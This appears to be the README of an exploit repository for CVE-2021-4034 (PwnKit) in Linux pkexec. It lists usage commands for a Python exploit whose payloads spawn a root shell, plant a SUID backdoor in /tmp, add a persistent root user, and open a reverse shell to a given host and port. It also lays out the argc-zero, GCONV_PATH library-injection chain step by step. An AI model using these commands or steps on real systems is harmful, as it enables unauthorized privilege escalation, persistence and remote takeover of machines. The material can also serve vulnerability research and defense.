CVE-2021-4034/
├── README.md                        # This file
├── LICENSE                          # MIT License
│
├── exploit/
│   └── pwnkit.py                    # Advanced exploit with multiple payloads
│
└── docs/
    ├── screenshots/                 # Exploitation demonstrations
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Vulnerability root cause analysis
        ├── 02-exploitation-chain.md # Exploitation chain breakdown
        └── 03-timeline.md           # CVE timeline

# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell

# Verify execution context
python3 exploit/pwnkit.py -p whoami

# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"

# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

1. Craft argv = { NULL }  →  argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)